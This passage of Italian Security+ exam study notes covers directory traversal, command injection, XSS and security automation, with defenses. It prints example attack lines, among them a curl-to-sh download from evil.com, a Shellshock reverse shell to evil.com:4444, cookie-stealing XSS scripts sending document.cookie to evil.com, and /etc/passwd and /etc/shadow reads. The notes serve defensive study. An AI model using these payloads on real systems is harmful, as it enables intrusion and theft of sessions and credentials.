Difesa: input validation che blocca .., /, \ e i loro equivalenti URL-encoded. Meglio ancora: non usare mai input utente direttamente per costruire path.

Baseline minima in PHP — basename() elimina qualsiasi path e tiene solo il nome file:

$file = basename($_GET['file']); // rimuove qualsiasi path — tiene solo il nome file
$allowed_dir = '/var/www/html/public/';
$full_path = $allowed_dir . $file;

basename('../../../etc/passwd') restituisce 'passwd' — i ../ vengono droppati prima di costruire il path. Il path risultante è sempre dentro public/.

Vettoreapplicazione web — query parameter o form field con path di navigazione
Causainput utente concatenato direttamente al path del filesystem senza validazione
Effetto volutoleggere file arbitrari sul server (/etc/passwd, chiavi private, file di configurazione)
Difesainput validation (blocca .., encoding), allowlist di file, web server con chroot/jail
Indicatore../ o %2e%2e nei log delle request HTTP, accessi a file fuori dalla webroot nei log del server
CIA TriadConfidentiality — lettura di file riservati al di fuori della webroot
Scopeserver — qualsiasi file leggibile dal processo web server
Command Injection
#
mindmap
  root((Command
Injection))
    Mechanism
      user input piped to shell
        shell_exec system exec
        backtick operator PHP
      OS interprets semicolons
        chained commands
        pipe to another binary
    Attack
      semicolon injects new command
        cat etc passwd
        curl evil.com pipe sh
      command substitution
        dollar parenthesis
    Defense
      avoid shell functions
        use native API instead
        no shell_exec system exec
      escapeshellarg per user input
        wraps in quotes escapes
      allowlist input values
        never raw string to shell
    Exam Trap
      same root as SQLi
        injection of untrusted input
        into interpreter context

Command Injection è una vulnerabilità che permette all'attaccante di eseguire comandi arbitrari del sistema operativo attraverso input non validato passato a una funzione shell. È il parente diretto di SQL injection — stesso meccanismo (input non sanitizzato in un interprete), interprete diverso (shell OS invece di database).

Meccanismo — PHP esempio concreto:

Hai un'applicazione che esegue un ping dato un hostname inserito dall'utente:

// VULNERABILE — mai fare così
$host = $_GET['host'];
$output = shell_exec("ping -c 4 " . $host);
echo $output;

Request normale:

GET /check?host=google.com
→ ping -c 4 google.com  ✅

Attacco con semicolon — il ; termina il comando ping e ne avvia un secondo:

GET /check?host=google.com;cat+/etc/passwd
→ ping -c 4 google.com; cat /etc/passwd  ← esegue entrambi

Attacco con pipe — passa l'output del primo al secondo:

GET /check?host=google.com|curl+http://evil.com/shell.sh|sh
→ ping -c 4 google.com | curl ... | sh  ← scarica ed esegue uno script

Operatori shell che permettono injection:

OperatoreSignificatoEsempio attacco
;esegui il prossimo comandohost; cat /etc/passwd
|pipe output al prossimohost | sh
&&esegui se il primo ha successohost && id
||esegui se il primo falliscex || whoami
`esegui e sostituisci inline`id`
$()command substitution$(cat /etc/shadow)

Difesa — livello 1: usa API native invece della shell:

// SICURO — usa fsockopen o una libreria invece di ping tramite shell
// Non serve mai richiamare ping via shell — usa ICMP direttamente o libreria

// Per DNS lookup:
$result = dns_get_record($host, DNS_A);  // ✅ nessuna shell coinvolta

// Per SSH key generation:
// ❌ VULNERABILE: shell_exec("ssh-keygen -t rsa -f " . $filename);
// ✅ SICURO: usa phpseclib o genera con openssl_pkey_new()

Difesa — livello 2: se devi usare la shell, escapeshellarg():

// Ancora non ideale ma almeno sicuro
$host = escapeshellarg($_GET['host']);
// escapeshellarg() wrappa in singole virgolette e fa l'escape di qualsiasi ' interno
// Input: google.com;cat /etc/passwd
// Output: 'google.com;cat /etc/passwd'  ← shell lo tratta come stringa, non come comandi
$output = shell_exec("ping -c 4 " . $host);

Difesa — livello 3: allowlist:

// Permetti solo hostname che matchano il pattern atteso
if (!preg_match('/^[a-zA-Z0-9.\-]+$/', $_GET['host'])) {
    http_response_code(400);
    exit('Invalid host');
}
// Caratteri shell (;|&$`\) non matchano mai — bloccati prima di arrivare alla shell

Caso reale — Shellshock (CVE-2014-6271):

Nel 2014 fu scoperto che Bash eseguiva automaticamente funzioni definite nelle variabili d'ambiente — incluse righe aggiuntive dopo la definizione. CGI web scripts passavano l'HTTP User-Agent come variabile d'ambiente a script Bash:

User-Agent: () { :; }; echo "PWNED"; /bin/bash -i >& /dev/tcp/evil.com/4444 0>&1

Bash parsava la variabile, trovava () { :; } (definizione di funzione), poi eseguiva automaticamente il resto. Migliaia di server esposti in ore.

Exam trap

Gibson cita esplicitamente Command Injection nella sezione Exam Topic Review come uno degli attacchi prevenibili con input validation — insieme a Buffer Overflow, SQL Injection e XSS. Se vedi una domanda su "cosa previene input validation", Command Injection è sempre tra le risposte corrette.

Vettoreapplicazione web o servizio — input utente passato a funzione shell senza validazione
Causaconcatenazione di input non sanitizzato in comandi shell (shell_exec, system, exec, popen)
Effetto volutoeseguire comandi OS arbitrari nel contesto del processo server — lettura file, reverse shell, lateral movement
Difesaevitare funzioni shell quando possibile; escapeshellarg() se necessario; allowlist input; principio del minimo privilegio
Indicatoreprocessi inattesi avviati dal processo web (es. apache lancia curl, bash, nc); output anomalo nei log; connessioni uscenti inattese
CIA TriadConfidentiality + Integrity + Availability — accesso completo al sistema se l'attaccante ottiene RCE
Scopesistema — tutti i file e processi accessibili all'utente che esegue il web server

Cross-Site Scripting
#

mindmap
  root((XSS
Cross-Site Scripting))
    Reflected
      payload in URL parameter
        server echoes it back
        phishing link required
      Server perimeter
        WAF can inspect URL
    Stored
      payload saved in DB
        served to all visitors
        no phishing needed
      Persistent and dangerous
        comment forum post
    DOM-based
      client side only
        fragment hash never sent
        server blind to it
      innerHTML vs textContent
        innerHTML executes
        textContent safe
    Defense
      CSP blocks external scripts
      HttpOnly cookie
        script cannot steal session
      Output encoding
        validate input encode output

XSS (Cross-Site Scripting) — vulnerabilità web che permette di iniettare script in pagine che altri utenti visualizzeranno. Il browser della vittima esegue lo script come se fosse codice legittimo del sito. "Cross-site" perché lo script proviene dall'attaccante ma viene eseguito nel contesto del sito della vittima.

Reflected XSS (non-persistente)

Lo script è nell'URL — il server lo riceve e lo "riflette" nella risposta HTML. Non viene salvato nulla. L'attaccante manda il link via phishing email o lo posta come commento.

# URL malevolo mandato via email
https://banca.com/search?q=<script>document.location='https://evil.com?c='+document.cookie</script>

# vittima clicca → browser manda la request al server
# server risponde con l'HTML che include lo script nell'URL
# browser esegue lo script → cookie inviato a evil.com

Stored XSS (persistente)

Lo script viene salvato nel database — colpisce ogni utente che carica la pagina.

<!-- attaccante posta questo come commento su un blog -->
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>

<!-- il commento viene salvato nel DB
     ogni utente che apre la pagina esegue lo script
     cookie di sessione → evil.com → session hijacking -->

DOM-based XSS

Lo script manipola il DOM client-side senza mai passare dal server — bypassa il server-side filtering.

Il fragment #... di un URL non viene mai mandato al server — lo vede solo il browser.

// codice vulnerabile nella pagina
document.getElementById('msg').innerHTML = location.hash.substring(1);

URL normale:

https://sito.com/page#Ciao
→ browser scrive "Ciao" nel div  ✅

URL malevolo:

https://sito.com/page#<img src=x onerror="alert('XSS')">
→ browser scrive il tag HTML nel div
→ img non carica (src=x non esiste)
→ onerror scatta → esegue alert()

Il server riceve solo https://sito.com/page — non vede mai #<img src=x onerror=...>. Il filtro server-side non ha nulla da filtrare.

La difesa cambia: evitare innerHTML con dati non trusted — usare textContent:

// vulnerabile — renderizza come HTML
element.innerHTML = location.hash.substring(1);

// sicuro — renderizza come testo
element.textContent = location.hash.substring(1);

Matrice comparativa:

ReflectedStoredDOM-based
Payload passa dal server?no
Dove vive il payloadURL (una request)database (persistente)fragment #, DOM client-side
Server-side filtering funziona?no — il server non lo vede
Perimetro da difendereserverserverendpoint (browser)
Chi viene colpitochi clicca il linktutti gli utenti del sitochi clicca il link
Difesa principaleinput validation, output encodinginput validation, output encodingtextContent invece di innerHTML

Difese

Input validation    → blocca <script> prima che entri nel DB
Output encoding     → <script> → &lt;script&gt; (testo, non codice)
HttpOnly cookie     → document.cookie non espone il cookie
CSP script-src      → browser blocca fetch verso evil.com

OWASP ESAPI (Enterprise Security API) — libreria open source che implementa output encoding e le 10+ regole OWASP contro XSS, disponibile per Java, PHP, .NET.

La difesa completa usa tutti e quattro i layer — ciascuno copre il caso in cui gli altri falliscono.

Vettoreapplicazione web — input non validato renderizzato come HTML/JS
Causaassenza di input validation e output encoding — il browser non distingue dati da codice
Effetto volutorubare cookie di sessione, reindirizzare utenti, keylogging nel browser
Difesainput validation, output encoding (HTML escaping), CSP, HttpOnly sui cookie, OWASP ESAPI
Indicatore<script> o javascript: nei campi input o URL, alert WAF su pattern XSS
CIA TriadConfidentiality — furto sessione e credenziali; Integrity — contenuto pagina modificato per altri utenti
ScopeStored: tutti gli utenti del sito; Reflected/DOM: solo l'utente che clicca il link

Automation and Scripting for Secure Operations
#

mindmap
  root((Automation and
Scripting))
    Use Cases
      User and Resource Provisioning
        onboarding offboarding
      Guardrails Security Groups
        access control auto-update
      Ticket Creation Escalation
        alert to ticket to PagerDuty
      CI CD Testing
        push SAST test deploy
      API Integrations
        Wazuh alert to Jira
    Benefits
      Efficiency Time Saving
        no manual repetitive tasks
      Enforce Baselines
        consistent across all systems
      Workforce Multiplier
        small team manages more
      Secure Scaling
        security grows with infra
    Considerations
      Complexity
        new attack surface
      Cost
        tooling and training
      Single Point of Failure
        automation down equals all down
      Technical Debt
        old scripts become vulns
      Ongoing Supportability
        must be maintained

Lo scripting per l'automazione è centrale nelle security operations. I SIEM (come Wazuh) usano script per raccogliere e analizzare log — quando rilevano qualcosa di interessante, triggerano script di risposta automatica (inviare email, bloccare un IP, aprire un ticket).

SOAR (Security Orchestration, Automation and Response) — approfondito in cap 11 — gestisce eventi di sicurezza di basso livello con script preconfigurati, senza richiedere intervento umano per ogni alert. Libera gli analisti per i casi complessi.

Automation and Scripting Use Cases
#

mindmap
  root((Automation
Use Cases))
    Provisioning
      User Provisioning
        onboarding offboarding
        no manual steps
      Resource Provisioning
        infra on demand
    Controls
      Guardrails
        policy enforcement auto
      Security Groups
        firewall rules auto-updated
      Enable Disable Services
        inactive accounts auto-disabled
    Response
      Ticket Creation
        alert becomes ticket
      Escalation
        severity routes to right team
    Dev and Integration
      CI CD and Testing
        code to deploy automatically
      API Integrations
        tools talk to each other

I casi d'uso da conoscere per l'esame:

Use CaseCosa automatizzaBeneficio securityEsempio concreto
User provisioningcreazione, aggiornamento e rimozione account e permessipreviene accessi non autorizzati, mantiene least privilegenuovo dipendente → account AD + gruppi; dipendente licenziato → accesso revocato in secondi
Resource provisioningcreazione, configurazione e decommission di VM, storage, retiambienti standardizzati, riduce errori umani e configuration driftTerraform crea infra cloud identica ad ogni deploy; Ansible applica hardening su tutti i server
Guardrailsenforcement automatico di security policy e best practicepolicy applicate in modo consistente — nessuna eccezione per distrazioneAWS SCP blocca automaticamente creazione di bucket S3 pubblici
Security groupsgestione e aggiornamento degli access control su risorse di retecontrolli aggiornati in risposta ai cambiamenti del threat landscapescript aggiorna firewall rules quando emerge una nuova minaccia
Ticket creationapertura automatica di incident ticket al rilevamento di un eventoproblemi segnalati e assegnati rapidamente, nessun alert ignoratoalert Wazuh livello 12 → ticket Jira assegnato al SOC team
Escalationescalation a team appropriato in base a criteri predefinititempi di risposta ridotti, impatto degli incidenti limitatoalert critico → PagerDuty → SOC L2 svegliato di notte
Enable/disable servicesabilita/disabilita servizi e accessi in base a ruoli, policy, risk assessmentriduce attack surface limitando accessi non necessariaccount inattivo 90 giorni → disabilitato; VPN solo in orario lavorativo
CI/CD e testingreview, test e deploy del codice in modo sicuro e ripetibilepreviene introduzione di vulnerabilità, mantiene complianceGitHub Actions: push → SAST → test → deploy solo se tutto verde
API integrationsconnette e fa comunicare tool di security in real-timedati condivisi tra piattaforme, operazioni coordinatealert Wazuh → apre ticket + aggiorna blocklist via API automaticamente
Important

Exam tip: i casi d'uso da ricordare sono — user provisioning, resource provisioning, guardrails, security groups, ticket creation, escalation, enable/disable services, continuous integration e testing, API integrations.

Benefits of Automation and Scripting
#

mindmap
  root((Automation
Benefits))
    Efficiency
      Time Saving
        repetitive tasks eliminated
      Faster Reaction Time
        detect respond in seconds
    Consistency
      Enforce Baselines
        same config everywhere
      Standard Configurations
        no manual drift
    Scale
      Secure Scaling
        security grows with systems
      Workforce Multiplier
        small team manages much more
    People
      Employee Retention
        no boring repetitive work
        focus on high value tasks
BeneficioCosa significaImpatto concreto
Efficiency / Time savingriduce il tempo richiesto per task ripetitivi — provisioning, risposta agli incidentii team si concentrano su attività strategiche invece che su operazioni manuali
Enforcing baselinesapplica security baseline e policy in modo consistente su tutta l'infrastrutturadeviazioni dalla configurazione sicura vengono rilevate e corrette rapidamente
Standard infrastructure configurationsdeploy e gestione automatizzata mantiene configurazioni standardriduce misconfiguration e vulnerabilità introdotte da processi manuali
Scaling sicurole misure di sicurezza vengono applicate automaticamente anche quando sistemi e utenti crescononessun gap di sicurezza durante la crescita — l'automation scala con l'infrastruttura
Employee retentionautomatizza task ripetitivi e poco stimolantii dipendenti si concentrano su lavoro ad alto valore — maggiore soddisfazione e retention
Reaction timeprocessi automatizzati rilevano, segnalano e rispondono agli incidenti più velocementeimpatto ridotto, tempo di risposta minimizzato
Workforce multiplierun team piccolo gestisce più sistemi e processi senza personale aggiuntivorisparmio sui costi, allocazione efficiente delle risorse
Important

Exam tip: i benefici chiave sono — efficiency/time saving, enforcing baselines, standard configurations, scaling sicuro, employee retention, reaction time, workforce multiplier.

Other Considerations
#

mindmap
  root((Automation
Considerations))
    Complexity
      new attack surface
        document everything
    Cost
      tooling infrastructure training
        ROI analysis before starting
    Single Point of Failure
      automation down equals all down
        redundancy and fallback
    Technical Debt
      old scripts become vulnerabilities
        regular maintenance schedule
    Ongoing Supportability
      must be maintainable long term
        team training documentation
ConsiderazioneRischioCome mitigare
Complexityl'automazione aggiunge complessità all'infrastruttura — può introdurre nuove vulnerabilitàassicurarsi che la complessità sia gestibile; documentare tutto
Costinvestimento iniziale significativo in tool, infrastruttura e trainingvalutare costi/benefici prima di avviare un progetto di automazione
Single point of failureeccessiva dipendenza dall'automazione crea un punto di rottura unicostabilire ridondanze e meccanismi di fallback per i processi critici
Technical debtscript e integrazioni che invecchiano diventano problemi o vulnerabilitàpianificare manutenzione e aggiornamenti regolari degli script
Ongoing supportabilityle soluzioni di automazione devono essere manutenibili nel lungo periodotraining del team, documentazione, monitoraggio continuo degli script
Important

Exam tip: le considerazioni critiche nell'implementare automation sono — complexity, cost, single point of failure, technical debt, ongoing supportability.


Exam Topic Review
#

mindmap
  root((Exam Topic
Review))
    Network Attacks
      DDoS
        Reflected
          third-party servers
        Amplified
          reflection plus amplification
      Forgery and Spoofing
        Fake identity
          cert file object
        Impersonation
      On-Path
        SSL Stripping
          HTTPS degraded to HTTP
        Certificate warnings
        SSH host key warning
      DNS Attacks
        DNS Poisoning
          corrupt DNS server cache
        Pharming
          hosts file local
        Domain Hijacking
          registrar account
        URL Redirection
      Replay Attacks
        Credential replay
        Timestamps thwart it
        Sequence numbers
    Secure Coding
      Input Validation
        Server-side
          cannot be bypassed
        Client-side
          bypassable
        Prevents SQLi XSS Buffer Overflow
      Race Conditions
        Two processes same data
        Lock data before access
      Error Handling
        Generic to user
        Detailed in logs
        Protects OS integrity
        Differential errors enable username enum
          fix: same message for all auth failures
      Code Signing
        Digital signature in cert
        Authenticate software
      Code Analysis
        Static SAST
        Dynamic Fuzzing
        Stress Test
        Sandboxing
        Model Verification
      SQL Injection
        or 1 equals 1
        Stored procedures defend
      Buffer Overflow
        Unexpected input
        Exposes system memory
        DoS and privilege escalation
      Directory Traversal
        Injection via path
      XSS
        Inject scripts in webpages
    Automation
      Use Cases
        User and resource provisioning
        Guardrails security groups
        Ticket creation escalation
        CI CD testing
        API integrations
      Benefits
        Efficiency and time saving
        Enforce baselines
        Workforce multiplier
        Secure scaling
      Considerations
        Complexity cost
        Single point of failure
        Technical debt
        Ongoing supportability

Identifying Network Attacks
#

  • DDoS attacks are DoS attacks from multiple computers. DDoS attacks typically include sustained, abnormally high network traffic, high processor usage, or high memory usage resulting in resource exhaustion.
  • Major variants of DDoS attacks include reflected attacks, which involve using third-party servers to redirect traffic to the target, and amplified attacks, which combine reflection techniques with amplification to generate an even greater volume of traffic directed at the target.
  • Forgery attacks occur when an attacker creates a fake identity, certificate, file, or other object in an attempt to fool an unsuspecting user or system. Spoofing is an example of forgery that occurs when one person or entity impersonates or masquerades as someone or something else.
  • On-path attacks are a form of interception or active eavesdropping. Sophisticated on-path attacks establish secure channels and users may see certificate warnings indicating an on-path attack. SSH will give users a warning if it detects a man-in-the-middle attack.
  • SSL stripping is an on-path attack that attempts to convert encrypted HTTPS sessions into unencrypted HTTP sessions.
  • DNS poisoning attacks corrupt or modify DNS data stored on a DNS server and can redirect users to malicious sites.
  • A pharming attack attempts to manipulate the DNS name resolution process by storing incorrect DNS records on a client system.
  • URL redirection causes a web browser to go to a different URL when a user visits a website.
  • Domain hijacking attacks allow an attacker to change a domain name registration without permission from the owner. Owners learn of the hijack after they've lost access to the site.
  • Replay attacks capture data in a session. After manipulating the capture, they send it back on the network as a session replay. Timestamps and sequence numbers thwart replay attacks.

Summarizing Secure Coding Concepts
#

  • A common coding error in web-based applications is the lack of input validation. Input validation checks the data before passing it to the application and prevents many types of attacks, including buffer overflow, SQL injection, command injection, and cross-site scripting attacks.

  • Server-side input validation is the most secure. Attackers can bypass client-side input validation but not server-side input validation. It is common to use both.

  • Race conditions allow two processes to access the same data at the same time, causing inconsistent results. Problems can be avoided by locking data before accessing it.

  • Error-handling routines within applications can prevent application failures and protect the integrity of the operating systems. Error messages shown to users should be generic, but the application should log detailed information on the error. A specific failure: differential error messages on login pages (different responses for "user not found" vs "wrong password") enable username enumeration. Remediation: return a single generic message for all authentication failures ("Invalid username or password").

  • Code signing uses a digital signature within a certificate to authenticate and validate software code.

  • Code quality and testing techniques include static code analysis, dynamic analysis (such as fuzzing), stress testing, sandboxing, and model verification.

  • SQL injection attacks provide information about a database and can allow an attacker to read, modify, and delete data within a database. They commonly use the phrase ' or 1=1 to trick the database server into providing information. Input validation and stored procedures provide the best protection against SQL injection attacks.

  • Secure cookies have an attribute set that instructs web browsers to only send them over encrypted connections, protecting them from eavesdropping attacks.

  • A buffer overflow occurs when an application receives more input, or different input, than it expects. The result is an error that exposes system memory that would otherwise be protected and inaccessible.

  • Directory traversal is a type of injection attack that attempts to access a file by including the full directory path or traversing the directory structure on a computer.

  • Cross-site scripting (XSS) is a web application vulnerability that allows attackers to inject scripts into webpages.

Automation and Orchestration for Secure Operations
#

  • Automation and orchestration techniques allow IT and security teams to streamline processes, minimize human error, and ensure a consistent approach to managing various security-related tasks.
  • The common use cases for automation and scripting in security operations are user provisioning, resource provisioning, guardrails, security groups, ticket creation, escalation, enabling/disabling services and access, continuous integration and testing, and the use of APIs to create integrations.
  • The key benefits of automation and scripting in security operations include improved efficiency and time saving, consistent enforcement of baselines, standardized infrastructure configurations, secure scaling, increased employee retention, faster reaction times, and serving as a workforce multiplier.
  • When implementing automation and scripting in security operations, it is essential to consider the potential complexity, cost, single points of failure, technical debt, and ongoing supportability to ensure long-term success and maintainability.

Scenario Reale
#


Risorse
#


Collegato a
#

  • network — attacchi di rete
  • cap-06-threat-actors-malware — threat actors e vettori di attacco
  • cap-08-risk-management-tools — vulnerability scanning e pen test

Related